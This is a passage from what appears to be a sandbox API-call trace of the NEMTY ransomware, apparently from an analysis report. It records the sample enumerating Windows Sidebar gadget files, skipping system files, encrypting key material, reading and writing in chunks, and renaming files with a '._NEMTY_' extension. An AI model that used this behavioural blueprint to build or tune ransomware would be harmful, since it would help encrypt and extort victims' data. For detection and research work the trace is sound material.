files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_bottom.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_bottom.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_bottom.png._nemty_kgobjgd_")) returned 0 [0118.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344158 | out: hHeap=0x4f90000) returned 1 [0118.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0118.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0118.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f8 | out: hHeap=0x4f90000) returned 1 [0118.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0118.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0118.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0118.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0118.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0118.400] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0118.400] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d254e1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d254e1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288a5bc3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings_box_divider_left.png", cAlternateFileName="")) returned 1 [0118.401] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2=".") returned 1 [0118.401] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="..") returned 1 [0118.401] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="...") returned 1 [0118.401] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="windows") returned -1 [0118.401] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="$RECYCLE.BIN") returned 1 [0118.401] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="rsa") returned 1 [0118.401] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="NTDETECT.COM") returned 1 [0118.401] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="ntldr") returned 1 [0118.401] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="MSDOS.SYS") returned 1 [0118.401] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="IO.SYS") returned 1 [0118.401] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="boot.ini") returned 1 [0118.401] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="boot.ini") returned 1 [0118.401] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="AUTOEXEC.BAT") returned 1 [0118.401] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="ntuser.dat") returned 1 [0118.401] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="desktop.ini") returned 1 [0118.401] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="CONFIG.SYS") returned 1 [0118.401] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="RECYCLER") returned 1 [0118.401] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="BOOTSECT.BAK") returned 1 [0118.401] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="bootmgr") returned 1 [0118.401] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="programdata") returned 1 [0118.401] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2="appdata") returned 1 [0118.401] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0118.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_left.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0118.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0118.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_left.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_divider_left.png", lpUsedDefaultChar=0x0) returned 29 [0118.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0118.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0118.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_left.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0118.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0118.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_left.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_divider_left.png", lpUsedDefaultChar=0x0) returned 29 [0118.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0118.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0118.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0118.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0118.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_left.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0118.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0118.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_left.png", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_divider_left.png", lpUsedDefaultChar=0x0) returned 29 [0118.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0118.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0118.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_left.png", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0118.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0118.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_divider_left.png", cchWideChar=29, lpMultiByteStr=0x4f9ed58, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_divider_left.png", lpUsedDefaultChar=0x0) returned 29 [0118.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0118.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401e0 [0118.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340340 | out: hHeap=0x4f90000) returned 1 [0118.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63402a8 [0118.402] Sleep (dwMilliseconds=0x5) [0118.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfa3aaa50, dwHighDateTime=0x1d561e7)) [0118.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfa3aaa50, dwHighDateTime=0x1d561e7)) [0118.417] GetLastError () returned 0x5 [0118.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0118.417] GetLastError () returned 0x5 [0118.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0118.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0118.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0118.418] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0118.418] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0118.418] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0118.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340370 [0118.418] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340370, pcchString=0x653e91c | out: pszString="6AJr5jnh1lG59Xb9ro/Ia4N/KGf2mhljAp6DL4TIHSR4YTxaeIFcW/OIbBkbjzc1\r\n+IeDPIcrcF2rlNjWSK03uhCSKgWK5druu/ORh8kMfQVm8BY79hz+Cod5PWkKYUMc\r\n6jodDQccEP498tqOjZJOWwPqwO+rJLXZpzAXe4he9NonR5KkMjTVlHUWG8937x0S\r\n5DBFbZMr3XPBE8yEIMZVziHAaW3Rgm9/ty2Ea40eBNAtoEtr4IX3avlzEQ73Wjpd\r\nU336tzFe++p4lrY4gTWH6qMWfBfMJtHYPfqlG86wXHugW3w8JnF9S2yIGSoIyDfI\r\n1ta/I9BXAY6kFOg9edESew==\r\n", pcchString=0x653e91c) returned 1 [0118.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0118.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340370 | out: hHeap=0x4f90000) returned 1 [0118.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0118.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0118.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340370 [0118.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0118.418] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_divider_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_divider_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0118.419] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0118.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0118.419] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.419] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.428] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.428] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.428] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.428] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.438] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.438] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.447] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.447] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.456] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.457] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.466] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.466] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.466] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.466] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.475] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.475] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.476] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.493] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.493] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.502] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.502] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.512] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.512] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.521] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.521] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.527] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.527] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.533] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.533] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.533] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.533] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340370, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0118.533] CloseHandle (hObject=0xffffffff) returned 0 [0118.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404e0 [0118.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0118.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0118.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0118.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0118.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0118.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0118.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0118.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0118.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0118.533] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_divider_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_divider_left.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_divider_left.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_divider_left.png._nemty_kgobjgd_")) returned 0 [0118.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0118.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404e0 | out: hHeap=0x4f90000) returned 1 [0118.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0118.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340370 | out: hHeap=0x4f90000) returned 1 [0118.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0118.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0118.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0118.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402a8 | out: hHeap=0x4f90000) returned 1 [0118.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0118.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0118.534] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d254e1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d254e1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288a5bc3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings_box_divider_right.png", cAlternateFileName="")) returned 1 [0118.534] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2=".") returned 1 [0118.534] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="..") returned 1 [0118.534] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="...") returned 1 [0118.534] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2="windows") 